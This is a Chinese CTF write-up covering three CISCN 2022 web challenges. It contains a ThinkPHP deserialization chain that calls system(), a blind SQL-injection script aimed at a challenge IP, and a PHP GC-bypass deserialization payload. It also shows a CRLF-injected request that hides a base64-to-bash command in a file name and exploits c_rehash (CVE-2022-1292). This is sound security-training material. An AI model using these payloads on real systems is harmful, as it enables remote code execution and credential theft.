CISCN 2022 初赛 web 复现

[CISCN 2022 初赛]ezpop

可以看到版本,那么直接上网找链子打
在这里插入图片描述
www.zip 查看路由,是 Index/test,然后 post 传参 a
在这里插入图片描述

<?php
// 保证命名空间的一致
namespace think {
    // Model需要是抽象类
    abstract class Model {
        // 需要用到的关键字
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;

        // 初始化
        public function __construct($obj='') {
            $this->lazySave = true;
            $this->data = ['whoami'=>['whoami']];
            $this->exists = true;
            $this->table = $obj;    // 触发__toString
            $this->withAttr = ['whoami'=>['system']];
            $this->json = ['whoami'];
            $this->jsonAssoc = true;
        }
    }
}

namespace think\model {
    use think\Model;
    class Pivot extends Model {
        
    }
    
    // 实例化
    $p = new Pivot(new Pivot());
    echo urlencode(serialize($p));
}

在这里插入图片描述

ezpentest

知识点:mysql8的utf8mb4_bin应用,根据溢出报错盲注,php的GC回收机制

题目给了 waf

<?php
function safe($a) {
    $r = preg_replace('/[\s,()#;*~\-]/','',$a);
    $r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r);
    return (string)$r;
  }
?>

利用 case when... 代替 if(...) ,利用 like 匹配 usernamepassword,如果匹配到则 9223372036854775807+1 造成溢出,然后就会报错,浏览器会返回500,根据这个就可以进行盲注,最后利用 collate'utf8mb4_bin'判断大小写。
在这里插入图片描述

import requests
import string

url = "http://1.14.71.254:28126/login.php"
list = string.ascii_letters + string.digits + '^$!_%@&'

flag = ''
for i in range(1,50):
    for j in list:
        if (j in '%_'):#为防止 like 把这里的 % 当做正则,所以要转义一下
            j = "\\" + j
        payload = f"0'||case'1'when`password`collate'utf8mb4_bin'like'{flag+j}%'then+9223372036854775807+1+''else'0'end||'"
        data = {
            'username':payload,
            'password':123
        }
        r = requests.post(url,data=data)
        if r.status_code == 500:
            flag += j
            print(flag)
            break
 #nssctfwabbybaboo!@$%!!
 #PAssw40d_Y0u3_Never_Konwn!@!!

登录后看到一大串乱码,查看源码可以看到它所用的加密。
在这里插入图片描述
保存网页源码后,利用工具解密

curl http://1.14.71.254:28943/login.php --cookie "PHPSESSID=c49750cf8b201ad00e8156ed3bb3aacf" -o ./example.php

1Nd3x_Y0u_N3v3R_Kn0W.php

<?php
session_start();
if(!isset($_SESSION['login'])){
    die();
}
function Al($classname){
    include $classname.".php";
}

if(isset($_REQUEST['a'])){
    $c = $_REQUEST['a'];
    $o = unserialize($c);
    if($o === false) {
        die("Error Format");
    }else{
        spl_autoload_register('Al');
        $o = unserialize($c);
        $raw = serialize($o);
        if(preg_match("/Some/i",$raw)){
            throw new Error("Error");
        }
        $o = unserialize($raw);
        var_dump($o);
    }
}else {
    echo file_get_contents("SomeClass.php");
}

SomeClass.php 源码

<?php
class A
{
    public $a;
    public $b;
    public function see()
    {
        $b = $this->b;
        $checker = new ReflectionClass(get_class($b));
        if(basename($checker->getFileName()) != 'SomeClass.php'){
        //获取类所在文件名字
            if(isset($b->a)&&isset($b->b)){
                ($b->a)($b->b."");
            }
        }
    }
}
class B
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->see();
        return "1";
    }
}
class C
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->read();
        return "lock lock read!";
    }
}
class D
{
    public $a;
    public $b;
    public function read()
    {
        $this->b->learn();
    }
}
class E
{
    public $a;
    public $b;
    public function __invoke()
    {
        $this->a = $this->b." Powered by PHP";
    }
    public function __destruct(){
        //eval($this->a); ??? 吓得我赶紧把后门注释了
        //echo "???";
        die($this->a);
    }
}
class F
{
    public $a;
    public $b;
    public function __call($t1,$t2)
    {
        $s1 = $this->b;
        $s1();
    }
}
?>

链子很好构造

E::__destruct => B::__toString => A::see

但是直接序列化打,是肯定打不通的,为啥呢?

首先在 1Nd3x_Y0u_N3v3R_Kn0W.php 中,是不包含 SomeClass.php 里面的类的,怎么包含呢?

可以利用 spl_autoload_register('Al'); 自动加载类,但是在后面有过滤,字符串中补不能有 Some,也就是说我们要在 if 判断前销毁我们的反序列化对象以此提前调用 __destruct,也就是常说的 phpGC 回收机制。

这边就不详细讲了,想详细了解的移步:https://www.jb51.net/article/242682.htm

简单解释就是,用一个指针指向这个对象,之后在把这个指针指向其他地方,这样这个对象,就没有任何引用和指向,就会销毁,从而调用 __destruct

$o = unserialize($c);
$raw = serialize($o);
if(preg_match("/Some/i",$raw)){
            throw new Error("Error");
        }

payload:

<?php
class A
{
    public $a;
    public $b;
}
class B
{
    public $a;
    public $b;

}

class E
{
    public $a;
    public $b;
}

class SomeClass{
    public $a;
}

$e = new E();
$b = new B();
$a = new A();
$flag = new error();
$flag->a = "system";
$flag->b = "cat /nssctfflag";
$a->b = $flag;
$b->a = $a;
$e->a = $b;
$c = new SomeClass();
$c->a = $e;
echo urlencode(str_replace("i:1;", "i:0;", serialize(array($c,1))));

online_crt

知识点:CVE-2022-1292,代码审计

分析

/getcrt 路由,生成 crt 证书

@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
    Country = request.form.get("Country", "CN")
    Province = request.form.get("Province", "a")
    City = request.form.get("City", "a")
    OrganizationalName = request.form.get("OrganizationalName", "a")
    CommonName = request.form.get("CommonName", "a")
    EmailAddress = request.form.get("EmailAddress", "a")
    return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)

/proxy 路由,请求头是可以控制的,也就是 CRLF,可以看到利用这个路由可以访问到内网 8887 端口,

@app.route('/proxy', methods=['GET'])
def proxy():
    uri = request.form.get("uri", "/")
    client = socket.socket()
    client.connect(('localhost', 8887))
    msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
    client.send(msg.encode())
    data = client.recv(2048)
    client.close()
    return data.decode()    

然后我们再看 go 服务,可以看到 go 跑在 8887 端口上,且在 admin 函数中可以改名字,那么我们是不是可以访问 8887 端口的 /admin/rename 路由,以此调用 admin 函数来改我们的证书的名字。但是在这里面还有几个条件:

  1. Request.Host == “admin”,host 要为 admin
  2. Request.URL.RawPath !=“”,也就是路径有编码,可以把 /改为 %2f
func admin(c *gin.Context) {
	staticPath := "/app/static/crt/"
	oldname := c.DefaultQuery("oldname", "")
	newname := c.DefaultQuery("newname", "")
	if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
		c.String(500, "error")
		return
	}
	if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
		err := os.Rename(staticPath+oldname, staticPath+newname)
		if err != nil {
			return
		}
		c.String(200, newname)
		return
	}
	c.String(200, "no")
}
......
func main() {
	router := gin.Default()
	router.GET("/", index)
	router.GET("/admin/rename", admin)

	if err := router.Run(":8887"); err != nil {
		panic(err)
	}
}

那么能改证书的名字有什么用呢?这时候就是 /createlink 路由下的 info 函数,调用 c_rehash 获取证书的名字来 RCE

@app.route('/createlink', methods=['GET'])
def info():
    json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
    # c_rehash 作用是让openssl在证书目录中能够找到证书。
    return json.dumps(json_data)

步骤

首先:在 /proxy 路由中以 post 传 CRLF 的值。(注意 go 服务中的条件)
因为要post 传参,所以要加一个 Content-Type: application/x-www-form-urlencoded
在这里插入图片描述

payload:

/admin%252frename%3Foldname%3Dfd3d9ea7-7dd2-43e3-b6b3-f1fdd39c72ef.crt%26newname%3D%60echo%2520Y2F0IC8qIA%3D%3D%7Cbase64%2520--decode%7Cbash%3Eflag.txt%60.crt%20HTTP/1.1%0D%0AHost%3A%20admin%0D%0AConnection%3A%20close%0D%0A%0D%0A

然后访问 /createlink 执行命令
最后访问 /static/crt/flag.txt,获取 flag
在这里插入图片描述
在这里插入图片描述

reference

https://haoami.github.io/2022/07/24/2022-7-24-CISCN%202022%E5%88%9D%E8%B5%9B/
https://blog.csdn.net/qq_62078839/article/details/125144431
  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值